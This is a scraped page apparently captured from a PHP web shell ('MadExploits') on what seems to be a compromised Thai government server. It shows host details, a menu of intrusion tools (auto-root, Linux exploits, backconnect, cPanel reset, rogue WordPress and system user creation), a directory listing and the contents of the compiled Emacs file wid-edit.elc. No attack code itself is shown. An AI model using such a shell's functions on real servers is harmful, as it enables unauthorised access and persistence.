Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wid-edit.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:05:28 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/wid-edit.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; Function definitions are lazy-loaded. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`wid-edit.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; #@64 Character position of the end of event if that exists, or nil. (defalias 'widget-event-point #[(event) #@169 ("\211:\2030\3028:\2030\302\2020\3038\2020\304 `\305\306F)\307 8\20670 A@:\20340 A@@\20270 A@)\207" . [event position 2 1 selected-window (0 . 0) 0 5])(#$ . 759) nil 5 (#$ . 649)]) #@58 Non-nil if EVENT is a mouse-button-release event object. (defalias 'widget-button-release-event-p #[(event) #@340 ("\211\250\2030\302\303 \304\305\306\307\"S!\"!\2030\310\311 !!\20680 9\203)0 \312N\20680 :\20580 @9\20580 @\312N)\205Q0\311!\313>\205Q0\314\315!>\206Q0\316\315!>\207" . [event obj zerop logand lognot lsh 134217728 1 characterp event-basic-type event-symbol-elements (mouse-1 mouse-2 mouse-3) click event-modifiers drag])(#$ . 1077) nil 8 (#$ . 962)]) (byte-code "\300\301\302\303\304\305\304\306\307\310\311\312\311\313& \210\300\314\302\315\311\301%\210\300\316\302\317\311\301\311\320&\207" [custom-declare-group widgets nil "Customization support for the Widget Library." :link (custom-manual "(widget)Top") (emacs-library-link :tag "Lisp File" "widget.el") :prefix "widget-" :group extensions hypermedia widget-documentation "Options controlling the display of documentation strings." widget-faces "Faces used by the widget library." faces] 14) #@120 Face used for documentation strings in widgets. This exists as a variable so it can be set locally in certain buffers. (defvar widget-documentation-face 'widget-documentation (#$ . 1952)) (byte-code "\300\301\302\303\304\301\304\305&\210\306\307\310\301#\207" [custom-declare-face widget-documentation ((((class color) (background dark)) (:foreground "lime green")) (((class color) (background light)) (:foreground "dark green")) (t nil)) "Face used for documentation text." :group widget-faces put widget-documentation-face face-alias] 8) #@106 Face used for buttons in widgets. This exists as a variable so it can be set locally in certain buffers. (defvar widget-button-face 'widget-button (#$ . 2500)) (byte-code "\300\301\302\303\304\305%\210\306\307\310\301#\207" [custom-declare-face widget-button ((t (:weight bold))) "Face used for widget buttons." :group widget-faces put widget-button-face face-alias] 6) #@60 Face used for widget buttons when the mouse is above them. (custom-declare-variable 'widget-mouse-face ''highlight '(#$ . 2876) :type 'face :group 'widget-faces) (byte-code "\300\301\302\303\304\305%\210\306\307\310\301#\210\300\311\312\313\304\305%\210\306\314\310\311#\207" [custom-declare-face widget-field ((((type tty)) :background "yellow3" :foreground "black") (((class grayscale color) (background light)) :background "gray85") (((class grayscale color) (background dark)) :background "dim gray") (t :slant italic)) "Face used for editable fields." :group widget-faces put widget-field-face face-alias widget-single-line-field ((((type tty)) :background "green3" :foreground "black") (((class grayscale color) (background light)) :background "gray85") (((class grayscale color) (background dark)) :background "dim gray") (t :slant italic)) "Face used for editable fields spanning only a single line." widget-single-line-field-face] 6) #@148 Return string representation of OBJECT, any Lisp object. No quoting characters are used; no delimiters are printed around the contents of strings. (defalias 'widget-princ-to-string #[(object) #@200 ("\302\303\304!!\305\216\306 !\210)rq\210\307 +\207" . [standard-output object get-buffer-create generate-new-buffer-name " *string-output*" ((kill-buffer standard-output)) princ buffer-string])(#$ . 4025) nil 3 (#$ . 3826)]) #@29 Clear all undo information. (defalias 'widget-clear-undo #[nil #@68 ("\300p!\210\301 \207" . [buffer-disable-undo buffer-enable-undo])(#$ . 4330) nil 2 (#$ . 4261)]) #@96 Largest number of items allowed in a popup-menu. Larger menus are read through the minibuffer. (custom-declare-variable 'widget-menu-max-size '40 '(#$ . 4434) :group 'widgets :type 'integer) #@130 Largest number of items for which it works to choose one with a character. For a larger number of items, the minibuffer is used. (custom-declare-variable 'widget-menu-max-shortcuts '40 '(#$ . 4632) :group 'widgets :type 'integer) #@121 Control how to ask for a choice from the keyboard. Non-nil means use the minibuffer; nil means read a single character. (custom-declare-variable 'widget-menu-minibuffer-flag 'nil '(#$ . 4869) :group 'widgets :type 'boolean) #@555 Choose an item from a list. First argument TITLE is the name of the list. Second argument ITEMS is a list whose members are either (NAME . VALUE), to indicate selectable items, or just strings to indicate unselectable items. Optional third argument EVENT is an input event. The user is asked to choose between each NAME from the items alist, and the VALUE of the chosen element will be returned. If EVENT is a mouse event, and the number of elements in items is less than `widget-menu-max-size', a popup menu will be used, otherwise the minibuffer. (defalias 'widget-choose #[(title items &optional event) #@1790 ("G W\2030\n\2030\306 \2030\307\n\310BD\"\207\f\204$0G V\203Q0\311\312\"\313\314P\315\316$\211(;\205O0\317(\"\211);\203H0)(\320(\"A))\207\321 *\322+\315\211,-\315\211./\323*\324\321!\211,#\210r\325\326!q\210\327 \210\330c\210\203\2670@-A-:\203\2570-@0-A1\331\332+0#c\210\323,\333+!1#\210\316.*+T+\202|0\334c\210).\204\3040\335\336!\210\323,\337\340#\210\323,\341\340#\210\323,\342\343#\210\323,\344\345#\210,\211A\237\241\210\346\213\210/\340=\203\3650\335\347!\210/.\207" . [items widget-menu-max-size event title widget-menu-minibuffer-flag widget-menu-max-shortcuts display-popup-menus-p x-popup-menu "" widget-remove-if stringp completing-read ": " nil t try-completion assoc make-sparse-keymap 48 define-key " " get-buffer-create " widget-choose" erase-buffer "Available choices:\n\n" format "%c = %s\n" vector "\nC-g = Quit" error "None of the choices is currently meaningful" [7] keyboard-quit [t] [134217750] scroll-other-window [134217773] negative-argument ((byte-code "\306\307!\310\311!!\210\312\313\314\315\n\250\203#0\n\316Y\203#0\n W\204w0\317=\204w0\320B\321!\322\312#\315H\323=\203f0\324!\314 V\203]0\325\326!!\210\202`0\323 \210\315)\2020\327=\203r0\330\2020\315\2020-\313\207" [buf arg char keys cursor-in-echo-area next-digit get-buffer " widget-choose" fit-window-to-buffer display-buffer t nil 0 1 48 keyboard-quit 32 read-key-sequence lookup-key scroll-other-window get-buffer-window scroll-other-window-down window-height negative-argument -1 value unread-command-events title overriding-terminal-local-map minibuffer-scroll-window] 4)) "Canceled" val try overriding-terminal-local-map next-digit map choice some-choice-enabled value name function])(#$ . 5719) nil 6 (#$ . 5100)]) (defalias 'widget-remove-if #[(predictate list) #@99 ("\304 \2030 @!\2040 @\nB A\211\2040\n\237*\207" . [list tail result predictate nil])(#$ . 7593) nil 3]) #@148 Non-nil means add extra space at the end of editable text fields. If you don't add the space, it will become impossible to edit a zero size field. (defconst widget-field-add-space nil (#$ . 7717)) #@228 Non-nil means use `before-change-functions' to track editable fields. This enables the use of undo, but doesn't work on Emacs 19.34 and earlier. Using before hooks also means that the :notify function can't know the new value. (defvar widget-field-use-before-change t (#$ . 7921)) #@57 Specify editable button for WIDGET between FROM and TO. (defalias 'widget-specify-field #[(widget from to) #@801 ("\212b\210\306 \307\"\2040\310u\210\2020\n\2030\311\312!\210`)\306 \313\"\306 \314\"\206(0\315\306 \316\"\306 \317\"\n?\20690\306 \307\"_\320 !\203H0\321Sf\322U\203\2140\323S\324\325\324% \326 \327\330#\210\326 \331 #\210\326 \332_#\210\326 \333#\210\326 \304\f#\210\326 \305 #\210)S\325\323!\324\211% \334 \335 #\210\326 \327 #\210\326 \332_#\210\326 \333#\210\326 \304\f#\210\326 \305 #\210.\336 !\207" . [to widget widget-field-add-space rear-sticky follow-link help-echo widget-get :size 1 insert-and-inherit " " :keymap :value-face widget-field :help-echo :follow-link functionp widget-mouse-help 10 make-overlay nil t overlay-put field boundary real-field local-map face widget-put :field-overlay widget-specify-secret keymap overlay from])(#$ . 8322) nil 7 (#$ . 8208)]) #@60 Replace text in FIELD with value of `:secret', if non-nil. (defalias 'widget-specify-secret #[(field) #@329 ("\306\307\"\306\310\"\211\205V0\311!\312! \203/0\fV\203/0Sf\313=\203/0S\211\2020\fW\205U0\ff\211\n=\204N0\314\f\211T \n$\210\315\f\211T\302 $\210\fT)\202/0**\207" . [field size secret end begin old widget-get :secret :size widget-field-start widget-field-end 32 subst-char-in-region put-text-property])(#$ . 9268) nil 6 (#$ . 9159)]) #@48 Specify button for WIDGET between FROM and TO. (defalias 'widget-specify-button #[(widget from to) #@622 ("\306 \307\310\307%\311\n\312\"\311\n\313\"\314\n\315 #\210\316!\203 0\317\320 \321\n#\210\320 \322\311\n\323\"#\210\320 \324\310#\210\311\n\325\"\204`0\320 \326\327\n\330\"#\210\320 \331\327\n\332\"\211<\203Z0\333!\202]0C)#\210\320 \334\335#\210\320 \304\f#\210\320 \303#+\207" . [from to widget help-echo follow-link overlay make-overlay nil t widget-get :follow-link :help-echo widget-put :button-overlay functionp widget-mouse-help overlay-put button keymap :keymap evaporate :suppress-face face widget-apply :button-face-get mouse-face :mouse-face-get copy-sequence pointer hand mouse-face-value])(#$ . 9739) nil 7 (#$ . 9633)]) #@64 Help-echo callback for widgets whose :help-echo is a function. (defalias 'widget-mouse-help #[(window overlay point) #@186 ("r\303!q\210\304\305!!\211\2050\306 \307\"\310\n!\203!0\n !\202\"0\n+\207" . [overlay widget help-echo overlay-buffer widget-at overlay-start widget-get :help-echo functionp])(#$ . 10521) nil 4 (#$ . 10397)]) #@48 Specify sample for WIDGET between FROM and TO. (defalias 'widget-specify-sample #[(widget from to) #@218 ("\304 \305\306\305%\307\n\310\311\312\"#\210\307\n\313\306#\210\314\315\n#)\207" . [from to overlay widget make-overlay nil t overlay-put face widget-apply :sample-face-get evaporate widget-put :sample-overlay])(#$ . 10851) nil 6 (#$ . 10745)]) #@55 Specify documentation for WIDGET between FROM and TO. (defalias 'widget-specify-doc #[(widget from to) #@229 ("\305 \306\307\306%\310\n\311#\210\310\n\312\f#\210\310\n\313\307#\210\314\315\n#)\207" . [from to overlay widget widget-documentation-face make-overlay nil t overlay-put widget-doc face evaporate widget-put :doc-overlay])(#$ . 11217) nil 6 (#$ . 11107)]) #@54 Execute FORM without inheriting any text properties. (defalias 'widget-specify-insert '(macro . #[(&rest form) #@202 ("\301\302\303\304\305\306B\307BBFD\207" . [form save-restriction let ((inhibit-read-only t) (inhibit-modification-hooks t)) (narrow-to-region (point) (point)) prog1 progn ((goto-char (point-max)))])(#$ . 11602) nil 7 (#$ . 11484)])) (byte-code "\300\301\302\303\304\305%\210\306\307\310\301#\207" [custom-declare-face widget-inactive ((t :inherit shadow)) "Face used for inactive widgets." :group widget-faces put widget-inactive-face face-alias] 6) #@46 Make WIDGET inactive for user modifications. (defalias 'widget-specify-inactive #[(widget from to) #@313 ("\304\305\"?\205.0\306 \n\307\310\307%\311\312\313#\210\311\314\310#\210\311\315\316#\210\311\317\320#\210\321\305#)\207" . [widget from to overlay widget-get :inactive make-overlay nil t overlay-put face widget-inactive evaporate priority 100 modification-hooks (widget-overlay-inactive) widget-put])(#$ . 12166) nil 6 (#$ . 12060)]) #@42 Ignoring the arguments, signal an error. (defalias 'widget-overlay-inactive #[(&rest junk) #@88 ("?\2050\301\302!\207" . [inhibit-read-only error "The widget here is not active"])(#$ . 12614) nil 2 (#$ . 12517)]) #@44 Make WIDGET active for user modifications. (defalias 'widget-specify-active #[(widget) #@129 ("\302\303\"\211\2050\304 !\210\305\303\306#)\207" . [widget inactive widget-get :inactive delete-overlay widget-put nil])(#$ . 12834) nil 5 (#$ . 12740)]) #@51 Return the type of WIDGET. The type is a symbol. (defalias 'widget-type #[(widget) #@23 ("@\207" . [widget])(#$ . 13091) nil 1 (#$ . 13001)]) (put 'widget-type 'byte-optimizer 'byte-compile-inline-expand) #@39 Return non-nil if WIDGET is a widget. (defalias 'widgetp #[(widget) #@78 ("9\203 0\301N\207:\2050@9\2050@\301N\207" . [widget widget-type])(#$ . 13289) nil 2 (#$ . 13215)]) #@119 In WIDGET, get the value of PROPERTY. If the value is a symbol, return its binding. Otherwise, just return the value. (defalias 'widget-get-indirect #[(widget property) #@81 ("\303 \"\2119\2030\nJ\2020\n)\207" . [widget property value widget-get])(#$ . 13581) nil 4 (#$ . 13406)]) #@58 Non-nil if there is a definition in WIDGET for PROPERTY. (defalias 'widget-member #[(widget property) #@131 ("\302A \"\203\n0\303\207@\2030\304@\305N \"\207\306\207" . [widget property plist-member t widget-member widget-type nil])(#$ . 13809) nil 3 (#$ . 13700)]) #@38 Extract the current value of WIDGET. (defalias 'widget-value #[(widget) #@85 ("\301\302\301\303\"#\207" . [widget widget-apply :value-to-external :value-get])(#$ . 14056) nil 6 (#$ . 13978)]) #@43 Set the current value of WIDGET to VALUE. (defalias 'widget-value-set #[(widget value) #@91 ("\302\303\302\304 ##\207" . [widget value widget-apply :value-set :value-to-internal])(#$ . 14272) nil 7 (#$ . 14179)]) #@47 Extract the default external value of WIDGET. (defalias 'widget-default-get #[(widget) #@123 ("\301\302\303\304\"\2060\301\305\"#\207" . [widget widget-apply :value-to-external widget-get :value :default-get])(#$ . 14495) nil 6 (#$ . 14401)]) #@37 In WIDGET, match the start of VALS. (defalias 'widget-match-inline #[(widget vals) #@160 ("\302\303\"\203 0\304\305 #\207 <\203\"0\304\306 @#\203\"0 @C AB\207\307\207" . [widget vals widget-get :inline widget-apply :match-inline :match nil])(#$ . 14746) nil 4 (#$ . 14656)]) #@47 Apply :action in WIDGET in response to EVENT. (defalias 'widget-apply-action #[(widget &optional event) #@151 ("\302\303\"\203 0\302\304 #\207\305\306!\207" . [widget event widget-apply :active :action error "Attempt to perform action on inactive widget"])(#$ . 15055) nil 4 (#$ . 14944)]) #@120 Prompt for a value matching WIDGET, using PROMPT. The current value is assumed to be VALUE, unless UNBOUND is non-nil. (defalias 'widget-prompt-value #[(widget prompt &optional value unbound) #@243 ("<\2040C\305\306\211@) #\307!\310\311 \n%\310\312\f#\204,0\313\314@\"\210\f)\207" . [widget prompt value unbound answer format "[%s] %s" widget-convert widget-apply :prompt-value :match error "Value does not match %S 